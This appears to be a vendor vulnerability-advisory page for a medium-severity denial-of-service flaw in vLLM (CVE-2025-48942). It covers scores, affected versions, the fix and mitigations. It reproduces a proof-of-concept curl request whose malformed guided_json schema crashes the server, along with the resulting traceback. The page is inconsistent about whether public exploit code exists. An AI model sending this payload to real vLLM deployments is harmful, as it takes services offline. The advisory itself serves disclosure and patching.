How severe is GHSA-6qc9-v4r8-22xg?

GHSA-6qc9-v4r8-22xg has a CVSS score of 6.5/10, rated MEDIUM. Review your exposure and patch according to your risk tolerance.

Which packages are affected by GHSA-6qc9-v4r8-22xg?

GHSA-6qc9-v4r8-22xg affects the following packages: vllm (PyPI). Ecosystems affected: PyPI.

How do I fix GHSA-6qc9-v4r8-22xg?

Update vllm to 0.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6qc9-v4r8-22xg is resolved across your whole dependency graph.

How do I detect GHSA-6qc9-v4r8-22xg in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vllm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate GHSA-6qc9-v4r8-22xg if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Is GHSA-6qc9-v4r8-22xg actively exploited in the wild?

No public exploit code has been indexed for GHSA-6qc9-v4r8-22xg yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-6qc9-v4r8-22xg?

GHSA-6qc9-v4r8-22xg has an EPSS (Exploit Prediction Scoring System) score of 0.6%, placing it in the 47th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-6qc9-v4r8-22xg?

GHSA-6qc9-v4r8-22xg is classified as CWE-248 (CWE-248). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-6qc9-v4r8-22xg published, and has it been updated?

GHSA-6qc9-v4r8-22xg was published on May 28, 2025 and was last updated on August 7, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍

🐍 PyPI

Not in CISA KEV

MEDIUM severity

vLLM DOS: Remotely kill vllm over http with invalid JSON schemaGHSA-6qc9-v4r8-22xg

MEDIUMFix: vllm-project/vllm#17623

GHSA-6qc9-v4r8-22xg is a medium-severity (CVSS 6.5) CWE-248 vulnerability in vllm. A fix is available for vllm — see the affected versions and patch details below.

Also known asCVE-2025-48942PYSEC-2025-54

Published

May 28, 2025

Updated

Aug 7, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 1, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-6qc9-v4r8-22xg.

EPSS Exploitation Probability

via FIRST.org ↗

0.6%probability of exploitation in next 30 days

Lower Risk+0.04%

Lower risk than most CVEs47th percentile — riskier than 47% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected

🐍vllm

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Hitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server

Details

The following API call (venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}' will provoke a Uncaught exceptions from xgrammer in ./lib64/python3.11/site-packages/xgrammar/compiler.py

Issue with more information: https://github.com/vllm-project/vllm/issues/17248

PoC

Make a call to vllm with invalid json_scema e.g. {\"properties\":{\"reason\":{\"type\": \"stsring\"}}}

curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}'

Impact

vllm crashes

example traceback

ERROR 03-26 17:25:01 [core.py:340] EngineCore hit an exception: Traceback (most recent call last):
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 333, in run_engine_core
ERROR 03-26 17:25:01 [core.py:340]     engine_core.run_busy_loop()
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 367, in run_busy_loop
ERROR 03-26 17:25:01 [core.py:340]     outputs = step_fn()
ERROR 03-26 17:25:01 [core.py:340]               ^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/engine/core.py", line 181, in step
ERROR 03-26 17:25:01 [core.py:340]     scheduler_output = self.scheduler.schedule()
ERROR 03-26 17:25:01 [core.py:340]                        ^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/core/scheduler.py", line 257, in schedule
ERROR 03-26 17:25:01 [core.py:340]     if structured_output_req and structured_output_req.grammar:
ERROR 03-26 17:25:01 [core.py:340]                                  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 41, in grammar
ERROR 03-26 17:25:01 [core.py:340]     completed = self._check_grammar_completion()
ERROR 03-26 17:25:01 [core.py:340]                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/request.py", line 29, in _check_grammar_completion
ERROR 03-26 17:25:01 [core.py:340]     self._grammar = self._grammar.result(timeout=0.0001)
ERROR 03-26 17:25:01 [core.py:340]                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 456, in result
ERROR 03-26 17:25:01 [core.py:340]     return self.__get_result()
ERROR 03-26 17:25:01 [core.py:340]            ^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/_base.py", line 401, in __get_result
ERROR 03-26 17:25:01 [core.py:340]     raise self._exception
ERROR 03-26 17:25:01 [core.py:340]   File "/usr/lib64/python3.11/concurrent/futures/thread.py", line 58, in run
ERROR 03-26 17:25:01 [core.py:340]     result = self.fn(*self.args, **self.kwargs)
ERROR 03-26 17:25:01 [core.py:340]              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/vllm/v1/structured_output/__init__.py", line 120, in _async_create_grammar
ERROR 03-26 17:25:01 [core.py:340]     ctx = self.compiler.compile_json_schema(grammar_spec,
ERROR 03-26 17:25:01 [core.py:340]           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ERROR 03-26 17:25:01 [core.py:340]   File "/home/derekh/workarea/vllm/venv/lib64/python3.11/site-packages/xgrammar/compiler.py", line 101, in compile_json_schema
ERROR 03-26 17:25:01 [core.py:340]     self._handle.compile_json_schema(
ERROR 03-26 17:25:01 [core.py:340] RuntimeError: [17:25:01] /project/cpp/json_schema_converter.cc:795: Check failed: (schema.is<picojson::object>()) is false: Schema should be an object or bool
ERROR 03-26 17:25:01 [core.py:340] 
ERROR 03-26 17:25:01 [core.py:340] 
CRITICAL 03-26 17:25:01 [core_client.py:269] Got fatal signal from worker processes, shutting down. See stack trace above for root cause issue.

Fix

https://github.com/vllm-project/vllm/pull/17623

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`vllm`	≥ 0.8.0&&< 0.9.0	0.9.0`pip install --upgrade 'vllm==0.9.0'`

Affected Products

1 product · 1 configurations

Application

vllmvllm

≥ 0.8.0 && < 0.9.0

range

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vllm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vllm to 0.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6qc9-v4r8-22xg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatModerate

The severity of this vulnerability is rated Moderate, as it does not impact system availability. The effects are confined to the application layer, without compromising the underlying system stability.

Workaround published by Red Hat

Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.

Source: Red Hat security advisory for GHSA-6qc9-v4r8-22xg (CC BY 4.0)

Frequently Asked Questions

### Summary Hitting the /v1/completions API with a invalid json_schema as a Guided Param will kill the vllm server ### Details The following API call `(venv) [derekh@ip-172-31-15-108 ]$ curl -s http://localhost:8000/v1/completions -H "Content-Type: application/json" -d '{"model": "meta-llama/Llama-3.2-3B-Instruct","prompt": "Name two great reasons to visit Sligo ", "max_tokens": 10, "temperature": 0.5, "guided_json":"{\"properties\":{\"reason\":{\"type\": \"stsring\"}}}"}' ` will provoke a Uncaught exceptions from xgrammer in `./lib64/python3.11/site-packages/xgrammar/compiler.py ` Is

O3 Security · Impact-Aware SCA

Is GHSA-6qc9-v4r8-22xg in your dependencies?

Find it across PyPI, including transitive dependencies.

Scan my dependencies How O3 SCA works

CVSS Score

6.5/10CVSS v3 base

Vector breakdown

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Unchanged

Confidentiality

None

Integrity

None

Availability

High

Raw vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE Classification

CWE-248CWE-248

Weaponization

No Nuclei template, Metasploit module or public proof-of-concept found.

Timeline

Disclosed

May 28, 2025

Last updated

Aug 7, 2026

Identifiers

GHSA-6qc9-v4r8-22xg

PYSEC-2025-54

References

Advisorynvd.nist.gov · CVE 2025 48942 Webgithub.com · GHSA 6qc9 v4r8 22xg Webgithub.com Webgithub.com Webgithub.com · 08bf7840780980c7568c573c70a6a8db94fd45ff Webgithub.com · PYSEC 2025 54.yaml Packagegithub.com · vllm

Related vulnerabilities

This CVE is medium severity; 7 of 8 other CVEs affecting vllm are rated as high or higher (top: high).

CVE-2026-115911CVE-2026-115912CVE-2026-115913CVE-2026-115914CVE-2026-115915CVE-2026-115916CVE-2026-115917CVE-2026-115918

Provenance

Sources

OSV.devNVDFIRST.org (EPSS)

Last verifiedAug 7, 2026

vLLM DOS: Remotely kill vllm over http with invalid JSON schemaGHSA-6qc9-v4r8-22xg

Exploitation Status

Proof-of-concept exploit code exists

EPSS Exploitation Probability

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

Description

Summary

Details

PoC

Impact

Fix

Affected Packages

Affected Products

Detection & mitigation playbook

Detect

Fix

Workarounds

Fixing This On Your OS

Frequently Asked Questions

Is GHSA-6qc9-v4r8-22xg in your dependencies?